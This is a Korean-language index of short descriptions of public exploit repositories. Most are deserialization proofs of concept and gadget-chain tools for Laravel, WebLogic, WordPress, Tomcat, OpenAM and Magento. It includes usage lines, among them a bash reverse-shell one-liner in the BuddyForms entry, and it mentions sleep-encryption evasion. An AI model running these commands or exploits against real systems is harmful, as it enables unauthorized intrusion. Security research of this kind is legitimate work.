CVE-2021-3129

CVE-2021-3129 CVE-2021-3129-Laravel Debug mode 원격 코드 실행 취약점 영향받는 버전 및 조건 Laravel = 8.4.2 Ignition 2.5.2 환경 구축 docker pull vulhub/laravel:8.4.2 exp 사용 exploit.py와 동일한 디렉터리에서 git clone https://github.com/ambionics/phpggc.git 를 실행하여 다운로드합니다. python3 exploit.py http://127.0.0.1:80 "whoami"...

POC_CVE-2020-2555

POCCVE-2020-2555 CVE-2020-2555를 위한 PoC 3 부분: 클라이언트 & 서버: 객체를 생성하여 서버로 전송하고, gadgetchain을 트리거합니다. 소유자 객체를 구축하는 데 사용합니다. 공격: pwntools를 사용하여 T3 프로토콜을 통해 객체 전송...

CVE-2020-2883

이것은 무엇인가 이 프로젝트는 weblogiccmd를 기반으로 하는 CVE-2020-2883의 PoC입니다. 두 개의 Gadget 첫 번째: ObjectInputStream.readObject PriorityQueue.readObject PriorityQueue.heapify PriorityQueue.siftDown siftDownUsingComparator com.tangosol.util.comparator.ExtractorComparator.compare...

CVE-2019-12814

CVE-2019-12814 CVE-2019-12814:Jackson JDOM XSLTransformer Gadget...

wordpress-php-object-helper

wordpress-php-object-helper 소개 PHP 객체 익스플로잇이 있는 알려진 플러그인이 있습니까?, 하지만 문제를 악용하고 phpggc로 실행하는 데 사용할 라이브러리를 결정해야 합니다. 이것이 도움이 될 것입니다. 예제 출력 $ python3 finder.py -u http://wordpress.lan -f wp-plugins.lst Processing URLs:...

CVE-2026-69836-EXP

CVE-2026-69836 Entra ID 인증되지 않은 RCE 개념 증명 개요 CVE-2026-69836은 신뢰할 수 없는 데이터의 안전하지 않은 역직렬화CWE-502로 인해 발생하는 Microsoft Entra ID의 심각한 인증되지 않은 원격 코드 실행 취약점입니다. 이 결함으로 인해 공격자는 인증, 사용자 상호 작용 또는 특별한 권한 없이 네트워크를 통해 임의 코드를 실행할 수 있습니다. 이 PoC는 패치 적용 환경에서 전체 RCE를 달성하는 익스플로잇을 입증하여, Microsoft 365, Azure 및 연결된 Saa...

gadgetinspector

가젯 인스펙터 이 프로젝트는 Java 라이브러리 및 클래스패스에서 가젯 체인을 검사합니다. 가젯 체인은 역직렬화 취약점을 위한 익스플로잇을 구성하는 데 사용됩니다. 애플리케이션의 클래스패스에서 가능한 가젯 체인을 자동으로 발견함으로써 침투 테스터는 신속하게 익스플로잇을 구성할 수 있고, 애플리케이션 보안 엔지니어는 역직렬화 취약점의 영향을 평가하고 그 수정 작업의 우선순위를 정할 수 있습니다. 이 프로젝트는 Black Hat USA 2018에서 발표되었습니다. 자세한 내용은 거기서 확인하세요! 링크 추후 공개 면책 조항: 이...

CVE-2020-2555

CVE-2020-2555 Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE com.supeream.CVE20202555 / author:Y4er.com gadget: BadAttributeValueExpException.readObject com.tangosol.util.filter.LimitFilter.toString com.tangosol.util.extractor.ChainedExtractor.extract...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' 원래 CVE-2023–26326은 역직렬화 취약점으로 악용하기 위해 가젯 체인gadget chain이 필요했습니다. 이 방법은 PHP 8+에서 실행되는 최신 WordPress 사이트에서는 더 이상 사용할 수 없습니다. 그러나 CVE-2024-2961https://www.ambionics.io/blog/iconv-cve-2024-2961-p1과 체이닝하면 phar:// 대...

CVE-2025-24813-PoC

CVE-2025-24813-PoC CVE-2025-24813은 Apache Tomcat에 영향을 미칩니다. 취약한 버전이고 매우 잘못 구성된 경우, 공격자는 GET 1회와 POST 1회만으로 RCE원격 코드 실행를 달성할 수 있습니다. 자세한 정보는 여기에서 확인하세요. 이 스크립트는 최근 writeup에서 공개된 Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang, Qi Deng의 스크립트를 수정하여, 명령어를 입력받고 모든 ysoserial 가젯 페이로드를 생성해 대상에 전송할 수 있게 한 것입니다...

CVE-2019-17564-FastJson-Gadget

CVE-2019-17564 FastJson + SpringFramework Gadget for Dubbo 2.7.3 전체 분석 글은 https://www.checkmarx.com/blog/apache-dubbo-unauthenticated-remote-code-execution-vulnerability 에서 확인할 수 있습니다. 참고: 이것은 익스플로잇이 아닙니다 ; 특정 의존성을 포함하는 범위에서 역직렬화를 시연하는 데 사용되는 POC 가젯 체인입니다. 개요 Apache Dubbo의 CVE-2019-17564를 익스플로잇하는...

CVE-2018-15133-PoC

CVE-2018-15133-PoC 이 Python 스크립트는 CVE-2018-15133 취약점을 기반으로, 안전하지 않은 역직렬화를 통해 취약한 Laravel 애플리케이션에 대해 원격 코드 실행RCE 익스플로잇을 구현합니다. 이 익스플로잇은 Laravel버전 5.5.40 이하, 5.6.05.6.29에서 암호화된 세션이 적절한 검증 없이 자동으로 역직렬화되는 취약점을 이용합니다. 공격자는 Laravel의 APPKEY에 접근할 수 있으면 악성 페이로드를 암호화하여 서버에서 역직렬화 및 실행되도록 할 수 있습니다. Laravel 세...

CVE-2019-18935-exploit-study

CVE-2019-18935-exploit-study ASP.NET AJAX용 Telerik UI에 영향을 미치는 CVE-2019-18935에 대한 심층 연구. .NET 역직렬화 취약점, RadAsyncUpload 핸들러, 가젯 체인, 혼합 모드 어셈블리 악용 및 완화 전략을 다룹니다...

CVE-2026-33439

🐞 CVE-2026-33439: jato.clientSession 역직렬화를 통한 OpenAM 사전 인증 RCE 인간의 통찰력 + AI 지원 분석 + 리버스 엔지니어링 + 권고 → 익스플로잇 CVE-2026-33439에 대한 최초의 공개 익스플로잇 구현 ForgeRock OpenAM의 인증되지 않은 Java 역직렬화 취약점으로, 조작된 JATO 세션 객체를 통해 완전한 원격 코드 실행이 가능합니다. 같은 강물이 두 번 흐릅니다. 그들은 jato.pageSessionCVE-2021-35464을 수정하고...

cve-2014-7912

cve-2014-7911 cve-2014-7911용 Exp로, 시스템 권한을 획득할 수 있습니다. 대부분 다른 사람들의 코드를 기반으로 하지만 가젯gadget이 다릅니다. 1. apk를 설치하고 버튼을 클릭합니다. 2. system server가 재시작됩니다. 3. 시스템 id100를 /data/1.txt에 기록합니다...

effective-waffle

effective-waffle 또 하나의 sleep encryption 기능입니다. 또한 기본 GitHub 리포지토리 이름을 사용했습니다. TpAllocWork + TpPostWork + TpWaitForWork + TpReleaseWork를 사용하여 콜백을 생성 + 실행 + 정리합니다. 콜백은 일련의 rop 가젯을 대기열에 추가하는 다소 조잡한 어셈블리입니다. 이 가젯은 하드코딩된 값이거나 TpAllocWork 매개변수로 전달된 구조체 내부의 오프셋에 기반한 인자를 올바른 레지스터로 팝한 다음, 다음 가젯/함수로 리턴합니다...

session_reaper_lab

CVE-2025-54236 - SessionReaper Lab CVE-2025-54236SessionReaper의 실제 데모를 위한 Docker 환경: Magento Open Source 2.4.7에서 PHP 객체 역직렬화를 통한 RCE. 통제된 환경에서만 사용하십시오. 명시적 권한 없이 시스템에 대해 실행하지 마십시오. 취약점 정보 CVE-2025-54236 은 Magento Open Source 및 Adobe Commerce 2.4.7 이하 버전에 영향을 미칩니다...

CVE-2021-2302

CVE-2021-2302 작성자: quynhle 가젯 체인 javax.management.BadAttributeValueExpException.readObject oracle.security.jps.az.internal.common.principals.toString oracle.security.jps.az.internal.common.principals.getResolvedPrincipal . . . con.newInstance . . . com.tangosol.coherence.mvel2.sh.ShellSession...

ysonet

YSoNet 은 승인된 보안 연구를 위해 .NET 역직렬화 페이로드를 생성하며, 대화형 마법사와 반복 작업을 위한 명령줄을 제공합니다. 대화형 구성: 가젯이나 플러그인을 선택하고, 각 설정에 대한 도움말을 확인하며, 동등한 명령을 복사할 수 있습니다. 검색 가능한 탐색: 포매터, 입력, 효과, 대상 요구 사항, 기록된 런타임 버전별로 가젯을 필터링할 수 있습니다. 문서화된 요구 사항: 페이로드를 선택하기 전에 모듈 도움말에서 대상 종속성과 런타임 제한을 확인할 수 있습니다. 폭넓은 페이로드 지원: 카탈로그에서 가젯, 플러그인,...

mojarragadget

mojarragadget 설명 Mojarra 라이브러리에서 새로운 Java gadget chain을 발견했습니다. 이 저장소에는 버전 2.3 및 3.0에서 익스플로잇을 재현하기 위한 2개의 POC가 포함되어 있습니다. 더 많은 정보는 여기: https://www.synacktiv.com/publications/finding-gadgets-like-its-2015-part-1.html https://www.synacktiv.com/publications/finding-gadgets-like-its-2015-part-2.html ...